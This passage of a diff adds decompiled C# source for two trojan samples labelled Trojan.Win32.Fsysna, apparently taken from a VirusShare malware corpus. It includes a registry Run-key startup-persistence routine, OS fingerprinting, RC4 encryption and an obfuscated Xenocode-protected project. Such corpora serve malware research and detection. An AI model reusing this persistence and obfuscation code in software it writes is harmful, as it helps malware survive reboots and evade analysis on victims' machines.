+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag;
+    }
+
+    public static string GenerateString(int length, int sequence, int casing = 0)
+    {
+      Random random1 = new Random();
+      Random random2 = new Random();
+      string str = "abcdefghijklmnopqrstuvwxyz";
+      string upper = str.ToUpper();
+      string empty = string.Empty;
+      while (empty.Length != length)
+      {
+        char minValue;
+        switch (casing)
+        {
+          case 0:
+            switch (random1.Next(0, 2))
+            {
+              case 0:
+                minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
+                break;
+              case 1:
+                minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
+                break;
+            }
+            break;
+          case 1:
+            minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
+            break;
+          case 2:
+            minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
+            break;
+        }
+        switch (sequence)
+        {
+          case 0:
+            switch (random1.Next(0, 2))
+            {
+              case 0:
+                empty += Conversions.ToString(random2.Next(0, 9));
+                break;
+              case 1:
+                empty += Conversions.ToString(minValue);
+                minValue = char.MinValue;
+                break;
+            }
+            break;
+          case 1:
+            empty += Conversions.ToString(random2.Next(0, 9));
+            break;
+          case 2:
+            empty += Conversions.ToString(minValue);
+            break;
+        }
+      }
+      return "R" + empty;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modGetInfo.cs

@@ -0,0 +1,80 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modGetInfo
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modGetInfo
+  {
+    public static string GetOperatingSystem()
+    {
+      OperatingSystem osVersion = Environment.OSVersion;
+      string operatingSystem = "UN";
+      switch (osVersion.Platform)
+      {
+        case PlatformID.Win32Windows:
+          switch (osVersion.Version.Minor)
+          {
+            case 0:
+              operatingSystem = "95";
+              break;
+            case 10:
+              operatingSystem = "98";
+              break;
+            case 90:
+              operatingSystem = "ME";
+              break;
+          }
+          break;
+        case PlatformID.Win32NT:
+          switch (osVersion.Version.Major)
+          {
+            case 3:
+              operatingSystem = "NT";
+              break;
+            case 4:
+              operatingSystem = "NT";
+              break;
+            case 5:
+              if (osVersion.Version.Minor == 0)
+              {
+                operatingSystem = "2K";
+                break;
+              }
+              if (osVersion.Version.Minor == 1)
+              {
+                operatingSystem = "XP";
+                break;
+              }
+              if (osVersion.Version.Minor == 2)
+              {
+                operatingSystem = "2K3";
+                break;
+              }
+              break;
+            case 6:
+              operatingSystem = "VS";
+              if (osVersion.Version.Minor == 0)
+              {
+                operatingSystem = "VS";
+                break;
+              }
+              if (osVersion.Version.Minor == 1)
+              {
+                operatingSystem = "W7";
+                break;
+              }
+              break;
+          }
+          break;
+      }
+      return operatingSystem;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modRC4.cs

@@ -0,0 +1,63 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modRC4
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Text;
+using System.Threading;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modRC4
+  {
+    public static string rc4(string message, string password)
+    {
+      int index1 = 0;
+      int index2 = 0;
+      StringBuilder stringBuilder = new StringBuilder();
+      string empty = string.Empty;
+      int[] numArray1 = new int[257];
+      int[] numArray2 = new int[257];
+      int length = password.Length;
+      int location1 = 0;
+      while (location1 <= (int) byte.MaxValue)
+      {
+        char String = password.Substring(location1 % length, 1).ToCharArray()[0];
+        numArray2[location1] = Strings.Asc(String);
+        numArray1[location1] = location1;
+        Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
+      }
+      int index3 = 0;
+      int location2 = 0;
+      while (location2 <= (int) byte.MaxValue)
+      {
+        index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
+        int num = numArray1[location2];
+        numArray1[location2] = numArray1[index3];
+        numArray1[index3] = num;
+        Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
+      }
+      location1 = 1;
+      while (location1 <= message.Length)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + numArray1[index1]) % 256;
+        int num1 = numArray1[index1];
+        numArray1[index1] = numArray1[index2];
+        numArray1[index2] = num1;
+        int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
+        int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
+        stringBuilder.Append(Strings.Chr(CharCode));
+        Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
+      }
+      string str = stringBuilder.ToString();
+      stringBuilder.Length = 0;
+      return str;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modRegister.cs

@@ -0,0 +1,67 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modRegister
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.Win32;
+using System;
+using System.Security.AccessControl;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modRegister
+  {
+    public static bool StartUpInstall(string AppName, string AppPath, bool InstallToLocalMachine)
+    {
+      bool flag;
+      try
+      {
+        if (InstallToLocalMachine)
+        {
+          Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).SetValue(AppName, (object) AppPath, RegistryValueKind.String);
+          flag = true;
+        }
+        else
+        {
+          Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).SetValue(AppName, (object) AppPath, RegistryValueKind.String);
+          flag = true;
+        }
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag;
+    }
+
+    public static bool StartUpUnInstall(string AppName, bool InstallToLocalMachine)
+    {
+      bool flag;
+      try
+      {
+        if (InstallToLocalMachine)
+        {
+          Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).DeleteValue(AppName, false);
+          flag = true;
+        }
+        else
+        {
+          Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).DeleteValue(AppName, false);
+          flag = true;
+        }
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/AssemblyInfo.cs

@@ -0,0 +1,14 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCompany("微软中国")]
+[assembly: AssemblyProduct("WindowsApplication5")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyTitle("WindowsApplication5")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCopyright("版权所有 (C) 微软中国 2007")]
+[assembly: ComVisible(false)]
+[assembly: Guid("bc7c8fa4-6e1e-4e3c-a1cc-bf915e598259")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/Trojan.Win32.Fsysna.caxv.csproj

@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{14598F32-714A-4BB0-A3A5-7BCA268518AD}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>WindowsApplication5</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Management" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="WindowsApplication5\xaa4f033827d75b4d.cs" />
+    <Compile Include="WindowsApplication5\x867eb3246b182488.cs" />
+    <Compile Include="WindowsApplication5\Properties\Resources.cs" />
+    <Compile Include="WindowsApplication5\Properties\Settings.cs" />
+    <Compile Include="xb9d8bb5e6df032aa\x1110bdd110cdcea4.cs" />
+    <Compile Include="Xenocode\Client\Attributes\AssemblyAttributes\ProcessedByXenocode.cs" />
+    <Compile Include="Xenocode\Client\Attributes\AssemblyAttributes\SuppressDisassembly.cs" />
+    <Compile Include="Xenocode\Core\User\Empty.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="WindowsApplication5\Properties\Resources.resx" />
+    <EmbeddedResource Include="WindowsApplication5\xaa4f033827d75b4d.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/Trojan.Win32.Fsysna.caxv.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsApplication5", "Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.csproj", "{14598F32-714A-4BB0-A3A5-7BCA268518AD}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{14598F32-714A-4BB0-A3A5-7BCA268518AD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{14598F32-714A-4BB0-A3A5-7BCA268518AD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{14598F32-714A-4BB0-A3A5-7BCA268518AD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{14598F32-714A-4BB0-A3A5-7BCA268518AD}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/WindowsApplication5/Properties/Resources.cs

@@ -0,0 +1,47 @@
+// Decompiled with JetBrains decompiler
+// Type: WindowsApplication5.Properties.Resources
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+using System.CodeDom.Compiler;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+using xb9d8bb5e6df032aa;
+
+namespace WindowsApplication5.Properties
+{
+  [CompilerGenerated]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  [DebuggerNonUserCode]
+  internal class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    internal Resources()
+    {
+    }
+
+    [SpecialName]
+    internal static ResourceManager get_ResourceManager()
+    {
+      // ISSUE: reference to a compiler-generated field
+      if (WindowsApplication5.Properties.Resources.resourceMan == null)
+      {
+        // ISSUE: reference to a compiler-generated field
+        WindowsApplication5.Properties.Resources.resourceMan = new ResourceManager(string.Intern(x1110bdd110cdcea4._d574bb1a8f3e9cbc("blgoamnocmepfllpnlcacmjallabgihbclobpkfcikmcckddjjkdejbeekiegjpejjgffjnfjfegpelgogchnijhhiaifihihhoibifjaimjchdklgkkghblocilpeplpfgmkgnmdgengglnagcooejoneapifhp", 1591469658)), typeof (WindowsApplication5.Properties.Resources).Assembly);
+      }
+      // ISSUE: reference to a compiler-generated field
+      return WindowsApplication5.Properties.Resources.resourceMan;
+    }
+
+    [SpecialName]
+    internal static CultureInfo get_Culture() => WindowsApplication5.Properties.Resources.resourceCulture;
+
+    [SpecialName]
+    internal static void set_Culture(CultureInfo value) => WindowsApplication5.Properties.Resources.resourceCulture = value;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/WindowsApplication5/Properties/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/WindowsApplication5/Properties/Settings.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: WindowsApplication5.Properties.Settings
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace WindowsApplication5.Properties
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class Settings : ApplicationSettingsBase
+  {
+    private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
+
+    [SpecialName]
+    public static Settings get_Default() => Settings.defaultInstance;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/WindowsApplication5/x867eb3246b182488.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: WindowsApplication5.x867eb3246b182488
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+using System;
+using System.Windows.Forms;
+
+namespace WindowsApplication5
+{
+  internal static class x867eb3246b182488
+  {
+    [STAThread]
+    private static void xc447809891322395()
+    {
+      Application.EnableVisualStyles();
+      Application.SetCompatibleTextRenderingDefault(false);
+      Application.Run((Form) new xaa4f033827d75b4d());
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/WindowsApplication5/xaa4f033827d75b4d.resx

@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="$this.Icon" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAL4IAAACAAABAAEAICAAAAEAEACoCAAAFgAAACgAAAAgAAAAQAAAAAEAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaaxBGazUHLWMghBilGCkhrC0xQhhjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC1WsYoQBxgHEAcYCRiIGIcYhyDHIQYxAzEEOcYdE7/fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB7cwctQBxAJEAkYCRgKGAogCCAHGAgYCCCHKMYpBTFEMYMCBkYYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALVaoiCgIIAkYiiCJIIggiCCIKIgoiCgIKAgoCCAHIIcgxjFEOYQxgxSRgAAAAAAAAAAAAAAAAAAAAAAAAAAOWekIMIk4iTCJKIooiiiIKIgoiCCJKIgwiCgJKAkoiCiIIIcoximFOgM5wi1UgAAAAAAAAAAAAAAAAAAAAD2YgQhJClDLUMtIykDLeIo4yTiJKAkgCiCJKIgoiSiJKIkoiCAIIAcgxykFOYM5gj3XgAAAAAAAAAAAAAAAJ13JClkLYUtpTGFMYUtZTFEMUQtIy3iKKAooiiiJIIkgiSCJKIggiCAIGAcghzEFAYN5hQZYwAAAAAAAAAAAACrPYU1